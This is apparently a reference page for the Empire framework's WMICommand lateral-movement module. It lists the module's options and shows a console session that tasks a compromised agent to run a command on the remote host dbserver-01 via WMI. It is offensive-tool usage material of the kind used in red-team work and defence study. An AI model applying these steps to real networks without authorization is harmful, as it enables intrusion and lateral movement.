WMICommand - Empire Module


This page contains detailed information about how to use the csharp/SharpSploit.LateralMovement/WMICommand Empire module. For list of all Empire modules, visit the Empire Module Library.

Module Overview

Name: WMICommand
Module: csharp/SharpSploit.LateralMovement/WMICommand
Source code: empire/server/modules/csharp/SharpSploit.LateralMovement.Covenant.yaml#L129
Language: C#
Needs admin: No
OPSEC safe: No
Background: No

The WMICommand module executes a process on a remote system using Win32_Process Create, optionally with alternate credentials.

This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.

Note that the WMICommand module does not need administrative privileges to work properly which means that a normal user can run this module.

Required Module Options

This is a list of options that are required by the WMICommand module:

Agent
Agent to run module on.

Command
Command line to execute on the remote system.

ComputerName
ComputerName to create the process on.
Default value: localhost.

DotNetVersion
.NET version to compile against.
Default value: Net35.
Suggested values: Net35, Net40.

Additional Module Options

This is a list of additional options that are supported by the WMICommand module:

Password
Password to authenticate the user. (optional).

Username
Username to authenticate as. Format: DOMAIN\Username (optional).

WMICommand Example Usage

Here's an example of how to use the WMICommand module in the Empire client console:

[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/windows/ducky) > usemodule csharp/SharpSploit.LateralMovement/WMICommand

 Author       cobbr_io                                                         
 Background   False                                                            
 Description  Execute a process on a remote system using Win32_Process Create, 
              optionally with alternate credentials.                           
 Language     csharp                                                           
 Name         csharp/SharpSploit.LateralMovement/WMICommand                    
 NeedsAdmin   False                                                            
 OpsecSafe    False                                                            


,Record Options-,-----------,----------,------------------------------------,
| Name          | Value     | Required | Description                        |
|---------------|-----------|----------|------------------------------------|
| Agent         |           | True     | Agent to run module on.            |
|---------------|-----------|----------|------------------------------------|
| Command       |           | True     | Command line to execute on the     |
|               |           |          | remote system.                     |
|---------------|-----------|----------|------------------------------------|
| ComputerName  | localhost | True     | ComputerName to create the process |
|               |           |          | on.                                |
|---------------|-----------|----------|------------------------------------|
| DotNetVersion | Net35     | True     | .NET version to compile against    |
|---------------|-----------|----------|------------------------------------|
| Password      |           | False    | Password to authenticate the user. |
|               |           |          | (optional)                         |
|---------------|-----------|----------|------------------------------------|
| Username      |           | False    | Username to authenticate as.       |
|               |           |          | Format: DOMAIN\Username (optional) |
'---------------'-----------'----------'------------------------------------'

(Empire: usemodule/csharp/SharpSploit.LateralMovement/WMICommand) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/csharp/SharpSploit.LateralMovement/WMICommand) > set Command SomeCommand
[*] Set Command to SomeCommand
(Empire: usemodule/csharp/SharpSploit.LateralMovement/WMICommand) > set ComputerName dbserver-01
[*] Set ComputerName to dbserver-01
(Empire: usemodule/csharp/SharpSploit.LateralMovement/WMICommand) > set DotNetVersion Net35
[*] Set DotNetVersion to Net35
(Empire: usemodule/csharp/SharpSploit.LateralMovement/WMICommand) > execute
[!] Error: csharpserver plugin not running

Note: This module requires csharpserver plugin to be running on our system. If this plugin is not running, the error message "[!] Error: csharp server plugin not running" is thrown on the console. To fix the error, start the csharpserver plugin and re-run the module:

(Empire: usemodule/csharp/SharpSploit.LateralMovement/WMICommand) > useplugin csharpserver

,Record Options--,----------,----------------------------------,
| Name   | Value | Required | Description                      |
|--------|-------|----------|----------------------------------|
| status | start | True     | Start/stop the Empire C# server. |
'--------'-------'----------'----------------------------------'

(Empire: useplugin/csharpserver) > execute
[*] Starting Empire C# server
(Empire: useplugin/csharpserver) > back
(Empire: usemodule/csharp/SharpSploit.LateralMovement/WMICommand) > execute
[*] Tasked Y4LHEV83 to run Task 1
...

Now wait for the results to come.

Author

  • cobbr_io

References

See Also

Check also the following modules related to this module:

Version

This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.